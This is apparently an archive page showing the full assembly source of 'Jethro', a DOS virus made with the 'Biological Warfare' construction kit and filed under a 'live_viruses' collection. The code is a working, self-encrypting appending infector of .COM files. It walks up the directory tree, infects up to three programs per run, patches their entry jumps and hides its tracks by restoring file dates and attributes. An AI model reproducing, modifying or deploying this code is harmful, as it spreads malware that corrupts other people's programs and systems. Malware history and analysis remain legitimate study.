home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / jethro.asm < prev    next >
Assembly Source File  |  1994-04-11  |  8KB  |  270 lines

  1. ; jethro.asm : Jethro (c) by HypoDermic! Part of the Mayberry Family! (Huh!
  2. ; Created with Biological Warfare - Version 0.90ß by MnemoniX
  3.  
  4. PING            equ     09246h
  5. INFECT          equ     3
  6.  
  7. code            segment
  8.                 org     100h
  9.                 assume  cs:code,ds:code
  10.  
  11. start:
  12.                 db      0E9h,3,0          ; to virus
  13. host:
  14.                 db      0CDh,20h,0        ; host program
  15. virus_begin:
  16.  
  17.                 db      0BBh                    ; decryption module
  18. code_offset     dw      offset virus_code
  19.                 mov     si,VIRUS_SIZE / 2 + 1
  20.  
  21. decrypt:
  22.                 db      02Eh,081h,2Fh           ; SUB CS:[BX]
  23. cipher          dw      0
  24.                 add     bx,2
  25.                 dec     si
  26.                 jnz     decrypt
  27.  
  28.  
  29. virus_code:
  30.                 call    $ + 3             ; BP is instruction ptr.
  31.                 pop     bp
  32.                 sub     bp,offset $ - 1
  33.  
  34.                 push    ds es
  35.  
  36.                 lea     dx,[bp + offset new_DTA]
  37.                 mov     ah,1Ah
  38.                 int     21h
  39.  
  40.                 mov     byte ptr [bp + infections],0
  41.  
  42.                 call    traverse
  43.  
  44.                 pop     es ds
  45.                 mov     dx,80h
  46.                 mov     ah,1Ah
  47.                 int     21h
  48.  
  49. com_exit:
  50.                 lea     si,[bp + host]          ; restore host program
  51.                 mov     di,100h
  52.                 push    di
  53.                 movsw
  54.                 movsb
  55.  
  56.                 call    fix_regs                ; fix up registers
  57.                 ret                             ; and leave
  58.  
  59. fix_regs:
  60.                 xor     ax,ax
  61.                 cwd
  62.                 xor     bx,bx
  63.                 mov     si,100h
  64.                 xor     di,di
  65.                 xor     bp,bp
  66.                 ret
  67.  
  68.  
  69. traverse:
  70.                 sub     sp,64                   ; allocate stack space
  71.                 mov     si,sp
  72.                 inc     si
  73.                 mov     ah,47h                  ; get current directory
  74.                 xor     dl,dl
  75.                 int     21h
  76.  
  77.                 dec     si
  78.                 mov     byte ptr ss:[si],'\' ; fix directory
  79.  
  80. next_dir:
  81.                 call    infect_dir
  82.  
  83.                 cmp     byte ptr [bp + infections],INFECT
  84.                 je      traverse_done
  85.  
  86.                 lea     dx,[bp + outer]         ; repeat in next dir up
  87.                 mov     ah,3Bh
  88.                 int     21h
  89.                 jnc     next_dir
  90.  
  91. traverse_done:
  92.                 add     sp,64                   ; reset
  93.                 mov     dx,si
  94.                 mov     ah,3Bh
  95.                 int     21h
  96.                 ret
  97.  
  98. infect_dir:
  99.                 mov     ah,4Eh
  100.                 lea     dx,[bp + find_me]
  101.                 int     21h
  102.                 jc      infect_done
  103.  
  104. next_file:
  105.                 lea     dx,[bp + new_DTA + 1Eh]
  106.                 call    execute
  107.                 cmp     byte ptr [bp + infections],INFECT
  108.                 je      infect_done
  109.                 mov     ah,4Fh
  110.                 int     21h
  111.                 jnc     next_file
  112.  
  113. infect_done:
  114.                 ret
  115. execute:
  116.                 push    si
  117.  
  118.                 xor     ax,ax                   ; critical error handler
  119.                 mov     es,ax                   ; routine - catch int 24
  120.                 lea     ax,[bp + int_24]
  121.                 mov     es:[24h * 4],ax
  122.                 mov     es:[24h * 4 + 2],cs
  123.  
  124.                 mov     ax,4300h                ; change attributes
  125.                 int     21h
  126.  
  127.                 push    cx dx ds
  128.                 xor     cx,cx
  129.                 call    set_attributes
  130.  
  131.                 mov     ax,3D02h                ; open file
  132.                 int     21h
  133.                 jc      cant_open
  134.                 xchg    bx,ax
  135.  
  136.                 mov     ax,5700h                ; save file date/time
  137.                 int     21h
  138.                 push    cx dx
  139.                 mov     ah,3Fh
  140.                 mov     cx,28
  141.                 lea     dx,[bp + read_buffer]
  142.                 int     21h
  143.  
  144.                 cmp     word ptr [bp + read_buffer],'ZM'
  145.                 je      dont_infect             ; .EXE, skip
  146.  
  147.                 mov     al,2                    ; move to end of file
  148.                 call    move_file_ptr
  149.  
  150.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  151.                 ja      dont_infect             ; too big, don't infect
  152.  
  153.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  154.                 cmp     dx,word ptr [bp + read_buffer + 1]
  155.                 je      dont_infect
  156.  
  157.                 add     dx,VIRUS_SIZE + 3
  158.                 mov     word ptr [bp + new_jump + 1],dx
  159.  
  160.                 add     dx,103h
  161.                 call    encrypt_code            ; encrypt virus
  162.  
  163.                 lea     dx,[bp + read_buffer]   ; save original program head
  164.                 int     21h
  165.                 mov     ah,40h                  ; write virus to file
  166.                 mov     cx,VIRUS_SIZE
  167.                 lea     dx,[bp + encrypt_buffer]
  168.                 int     21h
  169.  
  170.                 xor     al,al                   ; back to beginning of file
  171.                 call    move_file_ptr
  172.  
  173.                 lea     dx,[bp + new_jump]
  174.                 int     21h
  175.  
  176. fix_date_time:
  177.                 pop     dx cx
  178.                 mov     ax,5701h                ; restore file date/time
  179.                 int     21h
  180.  
  181.                 inc     byte ptr [bp + infections]
  182.  
  183. close:
  184.                 pop     ds dx cx                ; restore attributes
  185.                 call    set_attributes
  186.  
  187.                 mov     ah,3Eh                  ; close file
  188.                 int     21h
  189.  
  190. cant_open:
  191.                 pop     si
  192.                 ret
  193.  
  194.  
  195. set_attributes:
  196.                 mov     ax,4301h
  197.                 int     21h
  198.                 ret
  199.  
  200. dont_infect:
  201.                 pop     cx dx                   ; can't infect, skip
  202.                 jmp     close
  203.  
  204. move_file_ptr:
  205.                 mov     ah,42h                  ; move file pointer
  206.                 cwd
  207.                 xor     cx,cx
  208.                 int     21h
  209.  
  210.                 mov     dx,ax                   ; set up registers
  211.                 mov     ah,40h
  212.                 mov     cx,3
  213.                 ret
  214.  
  215. courtesy_of     db      '[BW]',0
  216. signature       db      'Jethro (c) by HypoDermic! Part of the Mayberry Family! (Huh!',0
  217.  
  218.  
  219. encrypt_code:
  220.                 push    ax cx
  221.  
  222.                 push    dx
  223.                 xor     ah,ah                   ; get time for random number
  224.                 int     1Ah
  225.  
  226.                 mov    [bp + cipher],dx
  227.                 pop     cx
  228.                 add     cx,virus_code - virus_begin
  229.                 mov     [bp + code_offset],cx
  230.                 push    cs                      ; ES = CS
  231.                 pop     es
  232.  
  233.                 lea     si,[bp + virus_begin]
  234.                 lea     di,[bp + offset encrypt_buffer]
  235.                 mov     cx,virus_code - virus_begin
  236.                 rep     movsb
  237.  
  238.                 mov     cx,VIRUS_SIZE / 2 + 1
  239. encrypt:
  240.                 lodsw                           ; encrypt virus code
  241.                 add     ax,dx
  242.                 stosw
  243.                 loop    encrypt
  244.  
  245.                 pop     cx ax
  246.                 ret
  247.  
  248.  
  249. find_me         db      '*.COM',0
  250. outer           db      '..',0
  251.  
  252. int_24:
  253.                 mov     al,3                    ; int 24 handler
  254.                 iret
  255. new_jump        db      0E9h,0,0
  256.  
  257. infections      db      0
  258. virus_end:
  259. VIRUS_SIZE      equ     virus_end - virus_begin
  260. read_buffer     db      28 dup (?)              ; read buffer
  261. new_DTA         db      128 dup(?)
  262. encrypt_buffer  db      VIRUS_SIZE dup (?)      ; encryption buffer
  263.  
  264. end_heap:
  265.  
  266. MEM_SIZE        equ     end_heap - start
  267.  
  268. code            ends
  269.                 end     start
  270.